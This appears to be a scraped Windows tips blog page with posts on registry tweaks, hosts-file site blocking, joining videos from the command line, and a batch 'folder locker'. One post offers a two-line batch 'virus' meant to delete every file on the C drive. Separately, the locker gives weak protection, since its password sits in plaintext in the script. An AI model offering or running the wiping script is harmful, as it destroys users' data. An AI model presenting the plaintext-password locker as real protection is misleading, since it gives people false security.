Lock a Folder With Password Using Free Folder Protector

All of us have some files and folders that we consider private. They can be anything from our business documents to pictures of friends and family. These are files that we don't want other people using our computer to know about. As Windows offers no way to protect our private information, most of us get in awkward situations when these files are discovered by unwanted people.

Surely, you can

Add Background Images to Folders in Windows

Suppose you have a music folder that contains all songs by your favorite singer. Would it not be great if instead of the plain white background, you could add the singer's image as the background of this folder?

It is relatively easy to add background images to folders using a simple desktop.ini trick just as easily as you can change your Desktop's background.

Desktop.ini is a system file

Enable Command Prompt Disabled by Administrator or Virus

Command Prompt is the tool in Windows which allows users to interact with their computer from a character user interface(CUI). It allows users to bypass most restrictions that are enforced on the Windows explorer based GUI. Hence, it can also be used to remove viruses and malware and also undo their effects. To avoid this, most viruses disable command prompt. Some administrators also purposefully

How to Start Windows in Safe Mode Easily

Safe Mode is a special diagnostic mode in which Windows runs with the minimum amount of features. As the features are limited, Windows does not load unnecessary startup items and runs only those files and drivers that are necessary for the basic functioning of the operating system. This allows users to remove recently installed programs that might be preventing Windows from starting correctly. As

How to disable the recent document history on your computer...???

Recent Document History

Hi everyone here is new tricks I’m going to show you how to disable the recent document history on your computer. This is a great thing if you don’t show your recent document history.

The bad thing about Recent Documents History is that Windows XP has to calculate what should be put there each time you boot Windows, which can slow things down.

1. At first open the Registry Editor by pressing “windows + R” then  type “regedit” and then hit enter. (Select Start/Run, type regedit, and click OK).

2. Now go to “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer”.

3. And then Create a NoRecentDocsHistory D_WORD key [Right Click® New ®DWORD (32- Bit) Value] . Double-click the value to open it once it is created.

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4. Set the Data Value to 1 to enable the restriction with hexadecimal.

5. Click OK and close the Registry Editor. You'll need to restart the computer for the change to take effect.

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Note: If you want to enable recent document then go to “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer”. and delete “NoRecentDocsHistory” file that you have create and restart your computer.

Why a hard drive has less storage space than promised?

It has happened to most of us. We buy a new hard drive (or maybe a flash drive) with mind boggling storage capacity only to find that it has less space than what was mentioned on the box. Angered, we start cursing the manufacturer and our dealer for false marketing thinking that they should be sued for doing this. Hey, but have you ever wondered how they continue to do this again and again

How to Remove Computer Virus Using Command Prompt (CMD)...???

Computer Virus

Each file and folder have the following attributes:

1).  Archive A

2).  Read Only R

3).  Hidden H

4).  System S

-(minus) sign before an attribute it means removing attributes and +(plus) sign mean giving attributes to the file or folder.

example ) attrib -r -a -s -h file.txt  this will remove all attributes from file.txt  and attrib +r +a +s +h file.txt  will give all attributes to file.txt .

If pen drive or other hard drive is infected by virus ,Command prompt is the best option.Follow the steps given below.

1).  Go to the command prompt by start>all programs>accessories>command prompt or press windows key+r and enter cmd .

2).  Go to the drive where you want to delete virus example write d: to go to D drive .

3).  Type “attrib -r -s -h *.* /s /d” without quotations  and press enter .

4)press dir /a .

5).  Delete all the .inf, .exe , .dll, .log extension file if they are not your files by using dos del command .

Example:

del autorun.inf

if any file is not deleting rename that file by rename command

Example:  rename dst.exe ms.bak this will rename dst.exe to ms.bak

Now Your pen drive is virus free .

How to Enable Hidden Window 7 Themes (alternative method).

Here is an alternative method, how to enable hidden windows 7 themes. If previous methods are not working to then apply this method.

Step-1:

At First Go to Control Panel and then click on folder Options.

Note: -- If Folder options are not available, change the view to large icons at the top-right corner of the screen.

Step-2:

Now click On the View tab and uncheck the box “Hide protected operating system files (Recommended)”. It will show you a warning; avoid this warning and Click Yes.

Step-3:

Now Go to “C:\Windows\Globalization\MCT\” Inside this folder you will see folders with name MCT-XX where XX will be AU, CA etc. These are the country codes in which these themes are automatically available.

                 Inside each MCT-XX you will see a Theme folder, now open it and click on the theme file to unlock it. Once unlocked, the theme will be available to you in personalization option.

That’s it……@@@@@@@

How To Enable Hidden Window 7 Themes

Widows 7

Hi everyone, in thicks you will know how to enable windows 7 themes when it will hide on your computer. Just follow by simple steps which is shown below:

Step-1:

At first open notepad ( press winkey + R ® open run ® then type “notepad” and hit enter) or any text editor.

Step-2:

 Copy & Paste the following code into the notepad.

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Themes\InstalledThemes\MCT]

“%windir%\\Globalization\\MCT\\MCT-AU\\Theme\\AU.theme”=””

“%windir%\\Globalization\\MCT\\MCT-CA\\Theme\\CA.theme”=””

“%windir%\\Globalization\\MCT\\MCT-GB\\Theme\\GB.theme”=””

“%windir%\\Globalization\\MCT\\MCT-US\\Theme\\US.theme”=””

“%windir%\\Globalization\\MCT\\MCT-ZA\\Theme\\ZA.theme”=””

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Wallpapers\KnownFolders\Windows Wallpapers\MergeFolders]

“%windir%\\Globalization\\MCT\\MCT-AU\\Wallpaper”=””

“%windir%\\Globalization\\MCT\\MCT-CA\\Wallpaper”=””

“%windir%\\Globalization\\MCT\\MCT-GB\\Wallpaper”=””

“%windir%\\Globalization\\MCT\\MCT-US\\Wallpaper”=””

“%windir%\\Globalization\\MCT\\MCT-ZA\\Wallpaper”=””

Step-3:

 Now Save it with the name “allregional. reg” without quotation.  

Step-4:

Now double click on it. Then it will ask for your permission to add the file to the registry. Then Click on Yes.

Final Step-5.:

 Right click on the desktop and select personalize. You new themes will be available to you.

Here is another method How to Enable Hidden Window 7 Themes (alternative method).

That’s it. Hope you enjoy this tricks….@@@@@@@@@

How to Block Websites without using any Software.

Block Website

Want to block a website on your computer, then you just follow the simple step which is shown below. In this article you have to learn how to block any website with-out any software.

Follow the steps:

Step-1:  

At first Open “Run” from the start menu or press WinKey + R. Just copy paste the following path and press ENTER.

notepad %windir%\system32\drivers\etc\hosts

or

 Go to C:\Windows\System32\Drivers\Etc and find the file “hosts”. Then open with notepad file.

Opening hosts file

Step-2:  

When this hosts file is opened in Notepad, at the end of the file you will see something like “127.0.0.1 localhost”.

Step-3:  

Under “127.0.0.1 localhost” just add another website URL that you want to block.

For Example:-

127.0.0.1 localhost

127.0.0.2 www.youtube.com

127.0.0.3 www.allgovtjobs.in

Step-4:  

Make sure every time you add another website, the last digit of the address 127.0.0.x should not be the same.

Step-5:  

Save the file and exit.

So, here you go. Restart your browser if it is opened and changes will take place immediately.

The good thing is that no message, no pop ups nothing will be displayed when someone tries to open a blocked website. Your browser will just fail to open those websites without any error messages.

Hope you really enjoy it !!

How to join various video files into one video file without any software…..?

Join Video Using Command prompt

In this article I’m going to show you how to join different video files like as MPEG, DAT, MPG, mp4, AVI etc. and convert it one video. You can join your video files using just the windows Command Prompt. No need of any video joining software’s. The best method to follow is shown below.

Step-1:

For example if you have 3 videos in your hard drive root drive: video1.mpg, video2.mpg and video3.mpg just rename them to a, b, and c (just the letter without the file extension).

Example:

Rename ®video1.mpg ® a (without .mpg)

Rename ®video2.mpg ® b (without .mpg)

Rename ®video3.mpg ® c (without .mpg)

Step 2:

Now open Command Prompt ( winkey + R) or Start–>Run–>type “cmd”.

Step 3:

Then type your location like “C: , D: , E: etc.”

File location Screenshot

Step 4:

Type this code: ®Copy /b a + b + c videoname.mpg and press enter

Or

copy /b "C:\File.mp4" + "C:\File1.mp4" CombinedFile.mp4

Step 5:

Now wait till you see: 1 files<s> copied, then type exit and press enter.

Command Prompt

That's it. You are done! Hope you enjoy this trick… @@@

Note: If you want to join two files then those files must have the same extension and if you change directory C:\> to D:\> then, you just type the drive name like  "D" and colon like D: then press enter.

How to view saved password in google chrome ?

Password

Hi guys, this a assume tricks to view any saved password in Google chrome. We are all known about Google chrome which is the most popular web browser, so you can easily find your saved password if you are forgetting.

Step-1:

At first open Google chrome and go to “settings” (top right corner)

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Step-2:

Now scroll down and click “Show advance settings”.

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Step-3:

Then go to “password and forms” and click “Manage saved password” here you must see list of all websites whose passwords are saved in the browser will be listed.

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Step-4:

Now select which website password you will see.

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That’s it. Hope you enjoy so much in this tricks.

How to create a simple virus which is delete all C drive files.

Virus

Want to make a simple virus on your computer….? In this article I will show you how making a simple virus by following steps:

Step-1:

Just open notepad ( Winkey+R ®run ® type notepad and hit enter) or any text editor.

Step-2:

Now copy and paste the following code below into the notepad.

@Echo off
Del C:\ *.* |y

Step-3:

Now save it as virus.bat ( where,  virus is a file name and “. bat” is the file extension ).

Warning:Please don't try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to your computer.

History of the Internet and what is the advantage of internet

The Internet is the GSI (Global System of Interconnected) network of computers, which is connected with different types of computers whole over the world. In the word, “INTERNET" was coming from “Inter-Networking," a mechanism of the Internet to transfer data from a computer to the other computers. The Internet means an Interconnection of Networks, which are communication protocols for communications between two computers over the network. The Internet is a huge capability of stored data such as music, video, software and any types of documents. The Internet is an electronic web which is connected to people each other's that have access to networks allows them to send and receive E-mails and share in many other activities. In the present situation 80% of people access, the Internet and lots of people busy to finding music, video and software and huge people visiting the social networking site like Facebook, Twitter, MySpace, linked In, etc. Today the Internet is called by “NET” then the word “net” is most popular of every human life.

History of internet.

The Internet is one of the most successful technologies in the world. Now the Internet enormously used development information infrastructure and commitment to research. In 1966, develop the computer network idea a plan for the ARPANET and quickly put together and publish it 1967.  Since then, the Internet has grown rapidly to become the world’s largest network. It now interconnects more than 50,000 networks, allowing more than 15 million computers, more than 100 million computer users and more than 155 countries around the world easily communicate with each other. The Internet network continues to grow at the rapid pace.

Please click this link address to read full story of the INTERNET.

Or copy & paste this link to your web browser:  http://pctips-tricks.hubpages.com/hub/History-of-the-Internet-and-specialty-of-the-Internet

How to access Facebook and Twitter without Internet connection.

In this position Facebook and Twitter are most popular social networking website in the world, I think everyone has  twitter and Facebook  account. They are everyday visit this type of social networking site through PC or mobile.  In this article I will show how to access Facebook and twitter without internet connection on your mobile. You are not fully accessing your Facebook and Twitter account, you can only still post Facebook and twitter for your friends and family. Please follow this step which is given below:

Twitter:

If you want to tweet without the internet, then at first enable your mobile phone at www.twitter.com  and Sign in your twitter account then go to “Settings” and then “Mobile” left top corner. Now put your mobile number and select mobile operator then click “Activate Phone”. Now go to your mobile where you see text message with 40404 numbers for active your phone. Once active your phone you should get a text message from 40404.

Twitter 1

Twitter 2

Facebook:

Want to share something for your friends and become more of a Facebook fan. You need to link your phone to your Facebook account, Then you can update your status through your phone by SMS.

At first go to  www.Facebook.com  and sign into your Facebook account, then go to “Account Settings” and then click “Mobile” then click “Activate text messaging”. Now select your country and carrier and click “next” button. Here you must see the “confirmation Code” box, now go to your mobile, open text message and type “ F” to your chosen carrier code (which operator you have chosen). That’s it.

Facebook 1

Facebook 2

Facebook 3

Facebook 4

Hope you enjoy this trick…..@@@@@

How to hide your Hard Disk Drive Partitions like C, D, E, F etc.

Hi guys this is an amazing and great trick for everyone, in this trick you will know how to hide Hard Disk Drive partitions such as Local Disk C:, Local Disk D:, Local Disk E:, etc. In this trick you can disable the display of local or network drives when you click My Computer. Now you just follow this simple step which is shown below:

At first open the run window by pressing “ winkey + R ” or go to start and click run then type regedit and hit enter.

Windows +R

Run

Now go to “ HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer “ top left corner.

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Now right click the pane to create a new DWORD (32-bit) or DWORD (64-bit). If you are 32-bit processor then click DWORD (32-bit) otherwise click DWORD (64-bit), if you are 64-bit processor and name it “ NoDrives” (it’s case sensitive).

Now modify  NoDrives value and set it to “3FFFFFF” with hexadecimal, then click ok. Now restart your Computer .

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Now open my computer, here you will must see hide all hard drive partitions. That means all the partitions are disabled.

Note:-- To enable all the partitions, simply delete the DWORD item (No Drives) that you have created and restart again. Now open My Computer then immediately you will see all the partitions.

That’s it. Enjoy……@@@@.

How to increase the internet Speed

In this short article you will see show you how increase you your Internet speed. If want to increase  your Internet speed, then follow this step below.

1. At first open the notepad or any text editor

2. Then copy this code and paste it into the notepad

[HKEY_LOCAL_MACHINE\SYSTEM\Curr entControlSet\Servic es\Tcpip\Parameters]
"SackOpts"=dword:00000001
"TcpWindowSize"=dword:0005 ae4c
"Tcp1323Opts"=dword:000000 03
"DefaultTTL"=dword:0000004 0
"EnablePMTUBHDetect"=dword:000 00000
"EnablePMTUDiscovery"=dword:00 000001
"GlobalMaxTcpWindowSize"=dword :0005ae4c

3. Then save it “ speed.reg ”.

Now go to your save location and execute it to observe the change. That’s it.

How to Lock any “file and folder” without any software.

Lock Folder

You are looking to protect your file or folder any how any cost, don’t worry, in this article I’m going to show you how locks any file or folder using without any software. Here I will show you how to protect yourfile or folder, just follow these simple steps below:

At first open notepad by using “win-key + R”, that means open run and type notepad into the box and press enter or open any text editor. Then copy & paste the following code below and save it “ .bat ” file extension, example for “lock.bat”, whereas the lock is given name and .bat is the file extension. Then go to your save location and double click to run it, now you should see a command prompt where need a password to open the locker. Your password is “mypassword”, you can change your password any time when you want to change.

Step-1:

Open notepad or any text editor.

Blank Notepad

Step-2:

Copy this code:

cls
:End
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==mypassword goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End

Step-3:

Paste into the notepad

Paste

Step-4:

Save it lock.bat extension

Lock.bat & Locker

Step-5:

Now go to your save location and double click to run your “ lock.bat ” file. Then open a command prompt window, here need for a password to unlock. Now you must see a “ Locker” folder on your save location. Your default Password is “mypassword”.

Changing Password

Note :-- If you want to change your password, then Right click your lock.bat file extension then click edit and find “mypassword” to change your password, then replace your password to “mypassword”. Example for any name, phone no. etc.

              You can create this locker any drive or folder. That’s it. Enjoy……..@@@